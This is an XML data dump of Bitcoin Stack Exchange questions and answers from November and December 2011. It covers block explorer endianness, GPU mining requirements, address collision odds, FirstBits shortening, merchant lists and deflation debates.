  <row Id="2065" PostTypeId="1" AcceptedAnswerId="2068" CreationDate="2011-11-25T20:13:10.790" Score="2" ViewCount="134" Body="&lt;p&gt;Recently I'm trying to &lt;a href=&quot;https://bitcointalk.org/index.php?topic=52706.0&quot; rel=&quot;nofollow&quot;&gt;properly recreate the genesis block in my low-level application&lt;/a&gt;. To do this, I use &lt;a href=&quot;http://blockexplorer.com/rawblock/000000000019d6689c085ae165831e934ff763ae46a2a6c172b3f1b60a8ce26f&quot; rel=&quot;nofollow&quot;&gt;the Block Explorer to get the proper values for different fields&lt;/a&gt;, but at times it can be very confusing with its endianness. Which fields presented in the Block Explorer should be reversed before they are included in a raw block, and which should stay as they are?&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2011-11-26T09:09:17.537" Title="Block Explorer, which fields are reversed, and which are the same as in a raw block dump?" Tags="|protocol|websites|raw-data|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2066" PostTypeId="2" ParentId="2063" CreationDate="2011-11-25T20:13:14.590" Score="13" Body="&lt;p&gt;Most likely it is a small design error, but there is big argument about it at &lt;a href=&quot;https://bitcointalk.org/index.php?topic=4278.0&quot;&gt;bitcointalk.org:What would you change about the Bitcoin protocol?&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="108" LastActivityDate="2011-11-25T20:13:14.590" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2067" PostTypeId="2" ParentId="2064" CreationDate="2011-11-25T20:20:36.623" Score="5" Body="&lt;p&gt;You should check the following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Are you sure you entered the right address to receive the Bitcoins?&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If the address is not correct, the coins are lost&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Did your Bitcoin client download all the blocks in the chain? (&gt;150000)&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If not, you need to let it run for awhile, until it downloads all the blocks, making sure that you have a couple connections and the block number is slowly increasing in your client application&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="323" LastActivityDate="2011-11-25T20:20:36.623" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2068" PostTypeId="2" ParentId="2065" CreationDate="2011-11-25T23:33:00.773" Score="2" Body="&lt;p&gt;Hashes are displayed in little-endian when they are actually big-endian on the network, and difficulty bits are displayed as big-endian when they are actually little-endian on the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All other integers are little-endian.&lt;/p&gt;&#xA;" OwnerUserId="403" LastEditorUserId="403" LastEditDate="2011-11-26T09:09:17.537" LastActivityDate="2011-11-26T09:09:17.537" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2069" PostTypeId="2" ParentId="2063" CreationDate="2011-11-25T23:44:02.360" Score="17" Body="&lt;p&gt;Modern computers almost always use little-endian internally, so this choice improves speed. If Bitcoin used network byte order, then order conversions would be necessary for every message sent or received.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hashes are defined by the standards as being big-endian, and crypto libraries deal with them in that form, so hashes are transmitted in big-endian. Bitcoin &lt;em&gt;displays&lt;/em&gt; hashes in little-endian because Bitcoin sometimes considers hashes to be little-endian integers instead of strings.&lt;/p&gt;&#xA;" OwnerUserId="403" LastActivityDate="2011-11-25T23:44:02.360" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2070" PostTypeId="1" AcceptedAnswerId="2074" CreationDate="2011-11-26T11:06:54.763" Score="4" ViewCount="241" Body="&lt;p&gt;Is there something like Mt.Gox Live but for Intersango?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't expect the same quality, but at least to be better than this horrible bugged mess which is BitcoinCharts/BitcoinWatch.&lt;/p&gt;&#xA;" OwnerUserId="196" LastActivityDate="2011-11-30T05:59:28.653" Title="Is there something like Mt.Gox Live but for Intersango?" Tags="|charts|intersango|live-data|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2071" PostTypeId="2" ParentId="2063" CreationDate="2011-11-26T16:40:48.630" Score="6" Body="&lt;p&gt;Modern CPUs also typically have byte-swapping load and store instructions, or at least a byte swap register instruction, so that effective programmers (and optimizing compilers) may eliminate, or nearly eliminate, the overhead of endianness compensation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This &quot;small design error&quot; may be a simple case of &quot;premature optimization&quot;.&lt;/p&gt;&#xA;" OwnerUserId="715" LastActivityDate="2011-11-26T16:40:48.630" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2072" PostTypeId="1" AcceptedAnswerId="2073" CreationDate="2011-11-26T17:46:18.963" Score="6" ViewCount="5329" Body="&lt;p&gt;I have an &lt;a href=&quot;https://en.wikipedia.org/wiki/GeForce_7_series#GeForce_7300_Series&quot; rel=&quot;nofollow&quot;&gt;Nvidia 7300 GX&lt;/a&gt; and want to start mining with it. This card doesn't support &lt;a href=&quot;https://en.wikipedia.org/wiki/OpenCL&quot; rel=&quot;nofollow&quot;&gt;OpenCL&lt;/a&gt;. Can I still use it for mining? With &lt;a href=&quot;https://bitminter.com/&quot; rel=&quot;nofollow&quot;&gt;BitMinter&lt;/a&gt; I can only use CPU mining; it doesn't see the Nvidia card.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using Linux &lt;a href=&quot;https://en.wikipedia.org/wiki/List_of_Ubuntu_releases#Ubuntu_11.10_.28Oneiric_Ocelot.29&quot; rel=&quot;nofollow&quot;&gt;Ubuntu 11.10&lt;/a&gt; (Oneiric Ocelot) with all extras...&lt;/p&gt;&#xA;" OwnerUserId="491" LastEditorUserId="5406" LastEditDate="2016-02-02T09:02:26.160" LastActivityDate="2016-02-02T09:02:26.160" Title="Is it impossible to GPU mine without OpenCL?" Tags="|gpu-mining|miner-configuration|mining-software|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2073" PostTypeId="2" ParentId="2072" CreationDate="2011-11-26T23:20:25.887" Score="6" Body="&lt;p&gt;OpenCL allows all graphic cards to be handled in a higher level in a uniform fashion. As all GPU mining software relies on OpenCL, you would need to create your own software to mine on non-OpenCL card. Whereas it is possible, the process would be very complicated and the reward probably wouldn't be worth it (NVIDIA cards aren't good for mining).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So all in all, no, if the graphic card does not support OpenCL, you can't use it to mine.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2011-11-26T23:20:25.887" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2074" PostTypeId="2" ParentId="2070" CreationDate="2011-11-26T23:29:34.400" Score="3" Body="&lt;p&gt;There does not seem to be a chart like that for this website. Not every exchange provides a live chart on its own, and asides the two websites you mentioned, there aren't any other that would provide access to a more &quot;live&quot; feed.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2011-11-26T23:29:34.400" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2075" PostTypeId="2" ParentId="66" CreationDate="2011-11-27T00:08:23.520" Score="2" Body="&lt;p&gt;Bitcoin was modeled after a non-renewable resource extraction curve similar to gold, silver, and oil. Gold and silver have be used throughout history as an effective currency. To say that it would fail due to deflation, would be to say that gold/silver would have met the same fate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Until the modern era, gold and silver was the main form of money used throughout the world. People did carry it around with them and spend it freely to acquire goods and services. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If someone says to you that deflation will kill bitcoin, tell them to show how gold/silver didn't work for spans of time up to a millennia.&lt;/p&gt;&#xA;" OwnerUserId="598" LastActivityDate="2011-11-27T00:08:23.520" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2076" PostTypeId="2" ParentId="2072" CreationDate="2011-11-27T01:30:57.387" Score="4" Body="&lt;p&gt;The 7300's GPU isn't sufficiently software programmable to be used for mining. There's no known way to get it to mine Bitcoins.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2011-11-27T01:30:57.387" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2077" PostTypeId="1" CreationDate="2011-11-27T11:17:44.183" Score="11" ViewCount="1055" Body="&lt;p&gt;I just downloaded Bitcoin 0.5 and started downloading the blockchain from scratch. The process was rather fast early on but slowed down noticeably later. That could of course be related to network conditions (or I could be mistaken altogether), but it got me thinking if the cost of block validation (which &lt;a href=&quot;https://bitcoin.stackexchange.com/q/800/238&quot;&gt;apparently&lt;/a&gt; is the driving factor in determining how long importing new blocks takes) somehow depends on the length of the chain before it?&lt;/p&gt;&#xA;" OwnerUserId="238" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2011-11-27T19:50:36.590" Title="Does block validation get more difficult as the blockchain grows?" Tags="|blockchain|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2078" PostTypeId="2" ParentId="66" CreationDate="2011-11-27T11:31:27.810" Score="4" Body="&lt;p&gt;One has to distinguish between three different sources of deflation. Based on the famous quantity equation there are three possible scenarios how a deflation can happen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;M * V = Y * P&lt;/p&gt;&#xA;&#xA;&lt;p&gt;M= Money Supply;&#xA;V= Money Velocity;&#xA;Y= Output/Production/Real GDP;&#xA;P= Price Level&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Deflation is commonly defined as a decrease in overall price level (e.g. P goes down).&#xA;So there are 3 ways this can happen:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;M decreases: So called Debt Deflation. This is a huge problem for banks and that is what most economists fear. Obviously this cannot happen to Bitcoin because M is fixed. (Except for lost wallets).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Y increases: This would be economiv growth due to an increase in productivity. Since that is a good thing there is no problem here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;V decreases: This means that people hoard their money and dont spend it. Usually this happens in times of high economic uncertainty. When you are unsure wether you will get income next month you will save a little bit more. This could become a problem in a bitcoin economy if that money is just asleep in peoples wallets.&lt;/p&gt;&#xA;" OwnerUserId="721" LastActivityDate="2011-11-27T11:31:27.810" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2079" PostTypeId="2" ParentId="2077" CreationDate="2011-11-27T12:34:17.437" Score="12" Body="&lt;p&gt;Validating hashes and signatures for transactions is the most costly process. So the amount of time it takes for CPU to verify a block depends on number of transactions in the block. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Number of transactions per block tends to increase as bitcoin economy grows, therefore it takes longer to verify more recent blocks. &lt;/p&gt;&#xA;" OwnerUserId="108" LastEditorUserId="108" LastEditDate="2011-11-27T12:47:22.767" LastActivityDate="2011-11-27T12:47:22.767" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2080" PostTypeId="2" ParentId="2070" CreationDate="2011-11-27T19:28:27.873" Score="2" Body="&lt;p&gt;You could try slush's SierraChart bridge which supports all markets supported by bitcoincharts:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=6019.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=6019.0&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="723" LastActivityDate="2011-11-27T19:28:27.873" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2081" PostTypeId="2" ParentId="2077" CreationDate="2011-11-27T19:50:36.590" Score="4" Body="&lt;p&gt;There are just more transactions per block. The cost of verifying a block doesn't depend on previous blocks at all.&lt;/p&gt;&#xA;" OwnerUserId="403" LastActivityDate="2011-11-27T19:50:36.590" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2082" PostTypeId="1" CreationDate="2011-11-29T00:50:59.093" Score="3" ViewCount="665" Body="&lt;p&gt;If public keys are 34 characters long, and private keys are 61 characters long, then the combinations of 34 characters is not sufficient to give each combination of 61 characters a unique pair.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My calculations show 8.6 * 10^89 combinations for a private key.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And 9.0 * 10^59 combinations for a public key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So how do we have one-to-one mapping?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Please correct me if I am wrong).&lt;/p&gt;&#xA;" OwnerUserId="662" LastActivityDate="2011-11-29T04:53:50.740" Title="How do we have one-to-one mapping given the key size differences?" Tags="|encryption|cryptography|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2086" PostTypeId="2" ParentId="2082" CreationDate="2011-11-29T04:13:19.387" Score="2" Body="&lt;p&gt;We don't have a one-to-one mapping in the sense that you are talking about. But, for practical purposes, we have a one-to-one mapping. Yes, if someone tried to map every single key, after a few million centuries, they'd have a problem. But we won't have to worry about that until long after the stars burn out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To find two keys that hash to the same ID, you'd have to try on average 2^80 keys. If you had a million computers, each capable of trying 1,000 keys a second, it would take 380,000 centuries to find a single match. And all you could do with those two keys was claim money sent to the same ID with either one, which would cause no harm at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, if you want to find a key that matches a key that actually has Bitcoins already, that's a much harder task. Say there are 10,000,000 IDs that have coins. The odds of a single key matching one of these 10,000,000 is 2^160/10,000,000 -- even with 1,000,000 computers each trying 1,000 keys a second, it would take billions of billions of centuries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So for practical purposes, it's one-to-one.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="85" LastEditDate="2011-11-29T04:53:50.740" LastActivityDate="2011-11-29T04:53:50.740" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2087" PostTypeId="1" AcceptedAnswerId="2088" CreationDate="2011-11-29T08:45:58.990" Score="7" ViewCount="4649" Body="&lt;p&gt;Seeing as the topic of generating address conflicts comes up every now and then, I am wondering if someone looked into the problem a bit further.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone measured the speed at which Bitcoin addresses can be generated (mainly with some efficient languages, not javascript)? Are there programs akin to GPU miners that instead of generating hashes would generate addresses?&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2011-11-29T12:34:07.930" Title="How fast can one generate Bitcoin addresses?" Tags="|address|gpu|vanity-address|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2088" PostTypeId="2" ParentId="2087" CreationDate="2011-11-29T12:34:07.930" Score="7" Body="&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=25804.0&quot;&gt;VanityGen&lt;/a&gt; uses the GPU to generate addresses until a desired match is found. On my 5870 it does about 27 million addresses per second.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2011-11-29T12:34:07.930" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2089" PostTypeId="1" AcceptedAnswerId="2091" CreationDate="2011-11-29T16:31:56.747" Score="12" ViewCount="1262" Body="&lt;p&gt;Is there a list of merchants who accept bitcoins?&lt;/p&gt;&#xA;" OwnerUserId="20" LastEditorUserId="5406" LastEditDate="2015-12-23T19:39:40.997" LastActivityDate="2018-05-08T08:49:06.750" Title="Where can I find a list of merchants who accept bitcoins?" Tags="|payment|websites|merchants|commerce|" AnswerCount="5" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2090" PostTypeId="2" ParentId="2089" CreationDate="2011-11-29T19:28:46.847" Score="2" Body="&lt;p&gt;Yes, the most comprehensive and well-known such list is at &lt;a href=&quot;https://en.bitcoin.it/wiki/Trade&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Trade&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2011-11-29T19:28:46.847" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2091" PostTypeId="2" ParentId="2089" CreationDate="2011-11-29T19:58:23.013" Score="5" Body="&lt;p&gt;As well as the &lt;a href=&quot;https://en.bitcoin.it/wiki/Trade&quot; rel=&quot;noreferrer&quot;&gt;https://en.bitcoin.it/wiki/Trade&lt;/a&gt; page you could look at:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.thebitcoinreview.com/&quot; rel=&quot;noreferrer&quot;&gt;http://www.thebitcoinreview.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.thebitcointrader.com/p/bitcoin-better-business-bureau.html&quot; rel=&quot;noreferrer&quot;&gt;http://www.thebitcointrader.com/p/bitcoin-better-business-bureau.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both of these sites try to give some kind of rating or review but the data is limited at the moment. &lt;/p&gt;&#xA;" OwnerUserId="61" LastActivityDate="2011-11-29T19:58:23.013" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2092" PostTypeId="1" AcceptedAnswerId="2093" CreationDate="2011-11-29T23:27:35.313" Score="3" ViewCount="444" Body="&lt;p&gt;Is the algorithm used by FirstBits to create their shortened addresses described anywhere, so that anyone wanting to automatically generate them could generate the same result as asking the website for each individual address?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, when a block explorer like &lt;a href=&quot;http://blockchain.info/&quot; rel=&quot;nofollow&quot;&gt;http://blockchain.info/&lt;/a&gt; wants to include FirstBits for every address, how does it generate them fast without overloading the FB website?&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2011-12-01T19:51:12.110" Title="FirstBits address shortening algorithm" Tags="|address|algorithms|address-format|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2093" PostTypeId="2" ParentId="2092" CreationDate="2011-11-30T01:00:15.040" Score="3" Body="&lt;p&gt;Obviously you would normally use a database with an efficient algorithm, but conceptually it goes like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) You find the first instance of the account ID in the blockchain. If the account ID does not appear, &lt;em&gt;stop&lt;/em&gt;. The account has no firstbits.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) As a safety, make sure that there are at least six blocks after the block in which the account ID first appears. Otherwise, you risk having the firstbits change if that block is invalidated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) You search all previous transactions for the account ID that matches this account ID to as many characters as possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4) You output one more character from the account ID than the number of characters matched in step 3. This is the ID's firstbits.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if the longest match prior to the first appearance of &quot;13xdjsNsf5zJV9tpbxL6iirp1WdettzwyB&quot; starts &quot;13xdjq..&quot; (and thus matches 5 characters), the firstbits for &quot;13xdjsNsf5zJV9tpbxL6iirp1WdettzwyB&quot; is &quot;13xdjs&quot; (the first 6 characters).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To go the other way, you search every account ID that appears in every transaction in the hash chain in appearance order. The first ID whose start matches all of the firstbits is the account ID for that firstbits.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="85" LastEditDate="2011-12-01T19:51:12.110" LastActivityDate="2011-12-01T19:51:12.110" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2094" PostTypeId="1" AcceptedAnswerId="2098" CreationDate="2011-11-30T05:20:38.423" Score="8" ViewCount="1000" Body="&lt;p&gt;&quot;If there is no one company behind bitcoin, who controls it?&quot;  This is the question that many people new to bitcoin ask. What is the best way to convey to them how bitcoin works, and in a way that can be understood by non-techies. &lt;/p&gt;&#xA;" OwnerUserId="145" LastEditorUserId="196" LastEditDate="2013-04-20T11:59:23.280" LastActivityDate="2013-04-20T11:59:23.280" Title="If there is no one company behind bitcoin, who controls it?" Tags="|trust|" AnswerCount="3" CommentCount="0" ClosedDate="2013-04-21T20:16:16.707" ContentLicense="CC BY-SA 3.0" />
  <row Id="2095" PostTypeId="2" ParentId="2070" CreationDate="2011-11-30T05:59:28.653" Score="1" Body="&lt;p&gt;One does not exist but I have it on my TODO list (which is quite long).&lt;/p&gt;&#xA;" OwnerUserId="734" LastActivityDate="2011-11-30T05:59:28.653" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2097" PostTypeId="2" ParentId="2094" CreationDate="2011-11-30T06:12:43.170" Score="5" Body="&lt;p&gt;Bitcoin operates based on a set of rules known as the Bitcoin protocol, which is defined by a consensus among its users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Bitcoin software is open source so anyone can contribute to its development, but in order for one to have any influence his modified software needs to be accepted by the users (so harmful code will be rejected).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Bitcoin currency day-to-day bookkeeping is operated by a peer-to-peer network of computers running a Bitcoin software which follows the Bitcoin protocol. Virtually anyone can make his own computer part of this network.&lt;/p&gt;&#xA;" OwnerUserId="575" LastEditorUserId="575" LastEditDate="2011-12-01T15:53:34.480" LastActivityDate="2011-12-01T15:53:34.480" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2098" PostTypeId="2" ParentId="2094" CreationDate="2011-11-30T07:08:10.953" Score="5" Body="&lt;p&gt;From &lt;a href=&quot;https://bitcointalk.org/index.php?topic=52405.0&quot; rel=&quot;noreferrer&quot;&gt;bitcointalk.org: triple-entry crowd accounting&lt;/a&gt; by casascius.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;I came up with the term TRIPLE ENTRY CROWD ACCOUNTING as a way to abstractly describe Bitcoin in as few words as possible.  I wanted to solicit feedback.  This term would make sense to those who are familiar with banking but not with technology.&lt;/p&gt;&#xA;&lt;p&gt;Slightly expanded (EDIT: and revised):&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;&amp;quot;Bitcoin is a payment network based on triple-entry crowd accounting.  A crowd of computers - run by ordinary Bitcoin users - observes the transactions, produces a single common ledger, and keeps everyone honest.  The magic that came from Bitcoin's inventor - the thread that holds the whole thing together - is a documented and published process by which the entire crowd can always agree on what transactions it observed, despite differences in timing and perspective, and even despite varying levels of honesty among participants.  Bitcoin's design ensures that no matter how big the crowd, its collective efforts always produce exactly one consistent transaction ledger.&amp;quot;&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="108" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2011-11-30T07:08:10.953" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2099" PostTypeId="1" AcceptedAnswerId="2101" CreationDate="2011-11-30T07:43:49.463" Score="4" ViewCount="566" Body="&lt;p&gt;I am looking for a website that allows me to retrieve the time at which each difficulty change happened. The time doesn't need to be accurate so a time stamp from the block will do. I want to fetch this information automatically every now and then, but I can't seem to find a webpage that provides an API for this.&lt;/p&gt;&#xA;" OwnerUserId="5" LastActivityDate="2011-12-01T06:52:09.830" Title="Web API to retrieve difficulty changes" Tags="|development|difficulty|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2100" PostTypeId="2" ParentId="2094" CreationDate="2011-11-30T08:02:28.627" Score="0" Body="&lt;p&gt;Majority of the nodes control the network, but they all obey the common rules of the Bitcoin Protocol. Each node checks data sent by other nodes that it receives against those rules, and only if it obeys them, the data is transmitted further.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2011-11-30T08:02:28.627" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2101" PostTypeId="2" ParentId="2099" CreationDate="2011-11-30T08:56:59.583" Score="3" Body="&lt;p&gt;&lt;a href=&quot;http://blockexplorer.com/q/nethash/2016&quot; rel=&quot;nofollow&quot;&gt;http://blockexplorer.com/q/nethash/2016&lt;/a&gt; provides the necessary information and shouldn't be too hard to parse. Every row corresponds to the first block at a given difficulty.&lt;/p&gt;&#xA;" OwnerUserId="575" LastEditorUserId="575" LastEditDate="2011-12-01T06:52:09.830" LastActivityDate="2011-12-01T06:52:09.830" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="2102" PostTypeId="1" CreationDate="2011-11-30T00:45:10.923" Score="7" ViewCount="207" Body="&lt;p&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Bitcoin&quot;&gt;BitCoin&lt;/a&gt; is (arguably) the world's best chance thus far at a virtual currency (although it's very unstable).  Even though it's a high risk, it is able to be converted to regular dollars, and some shops and online sites accept payment in Bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to convert BitCoins to regular currency online, or is there a world-wide travel website that you can use BitCoins to purchase flights, tickets, etc with?&lt;/p&gt;&#xA;" OwnerUserId="733" OwnerDisplayName="Mark Mayo" LastEditorUserId="196" LastEditDate="2013-03-12T16:50:02.720" LastActivityDate="2013-03-12T19:29:10.433" Title="Using Bitcoin for Travel Purchases" Tags="|travel|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2103" PostTypeId="2" ParentId="2102" CreationDate="2011-11-30T01:12:43.837" Score="7" Body="&lt;p&gt;+1 for fun question. Places where you can &lt;a href=&quot;https://en.bitcoin.it/wiki/Selling_bitcoins&quot;&gt;sell bitcoins&lt;/a&gt; are a plenty. You are a bit late though since the exchange rate was much higher earlier this year. Purchasing stuff with bitcoins isn't that widespread. &lt;a href=&quot;http://bitcoin.travel/&quot;&gt;bitcoin.travel&lt;/a&gt; lists about 10 travel releated places in the entire world that accepts bitcoins. bitcoin.it also has a &lt;a href=&quot;https://en.bitcoin.it/wiki/Trade#Travel_.2F_Tourism_.2F_Leisure&quot;&gt;list of travelling related vendors accepting bitcoins&lt;/a&gt;. All this may change quickly in either direction so watch these sites for updates.&lt;/p&gt;&#xA;" OwnerUserId="735" OwnerDisplayName="froderik" LastActivityDate="2011-11-30T01:12:43.837" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2104" PostTypeId="1" AcceptedAnswerId="2116" CreationDate="2011-12-01T00:16:58.927" Score="8" ViewCount="534" Body="&lt;p&gt;According to the &lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_specification#Block_Headers&quot; rel=&quot;noreferrer&quot;&gt;Protocol Specification&lt;/a&gt;, the txn_count field of a Block Header is always set to 0, why is that? What are the intended future uses of this field?&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2011-12-02T00:16:52.923" Title="Why is the Block Header txn_count field always zero?" Tags="|protocol|block|block-header|raw|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2105" PostTypeId="2" ParentId="2102" CreationDate="2011-12-01T00:23:05.523" Score="1" Body="&lt;p&gt;You can convert Bitcoins to a number of currencies and have them wired to a local bank from &lt;a href=&quot;http://bitcoincharts.com/markets/&quot; rel=&quot;nofollow&quot;&gt;many online exchanges&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Moreover, &lt;a href=&quot;https://www.okpay.com/en/index.html&quot; rel=&quot;nofollow&quot;&gt;OKPAY&lt;/a&gt; is to soon accept Bitcoins, which will allow you to conveniently pay with your coins pretty much anywhere.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2011-12-01T00:23:05.523" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2106" PostTypeId="2" ParentId="2104" CreationDate="2011-12-01T04:39:55.667" Score="2" Body="&lt;p&gt;Because no transactions are included in the message. I don't think there is any intended future use.&lt;/p&gt;&#xA;" OwnerUserId="403" LastEditorUserId="403" LastEditDate="2011-12-01T10:41:51.947" LastActivityDate="2011-12-01T10:41:51.947" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2107" PostTypeId="1" AcceptedAnswerId="2109" CreationDate="2011-12-01T17:37:55.210" Score="3" ViewCount="853" Body="&lt;p&gt;I've read a little about BitCoins and think the idea is very interesting.  I was wondering what is required to generate a block?  I assume there is some software you need.  Do I also need an account somewhere like Mt Gox?&lt;/p&gt;&#xA;" OwnerUserId="20" LastEditorUserId="5406" LastEditDate="2016-02-02T09:01:49.710" LastActivityDate="2016-02-02T09:01:49.710" Title="What is required to generate a block?" Tags="|mining-theory|" AnswerCount="2" CommentCount="1" ClosedDate="2013-07-09T20:18:34.283" ContentLicense="CC BY-SA 3.0" />
  <row Id="2108" PostTypeId="2" ParentId="2107" CreationDate="2011-12-01T19:03:30.070" Score="1" Body="&lt;p&gt;To generate a block you need to run a Bitcoin network node (such as the standard Bitcoin client) and a miner (mining software) such as &lt;a href=&quot;https://en.bitcoin.it/wiki/Poclbm&quot; rel=&quot;nofollow&quot;&gt;poclbm&lt;/a&gt;. The rewards for blocks you generate will be automatically delivered to an address controlled by your node, you do not need any external account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's the theory though, in practice what you'll want to connect your miner to a mining pool, and let the pool handle receiving rewards and delivering them to an address of your choice (which could either be controlled by a local client or an eWallet service). And, to do this with any effectiveness you will need suitable hardware such as an ATI graphics card.&lt;/p&gt;&#xA;" OwnerUserId="575" LastEditorUserId="575" LastEditDate="2011-12-01T19:18:05.907" LastActivityDate="2011-12-01T19:18:05.907" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
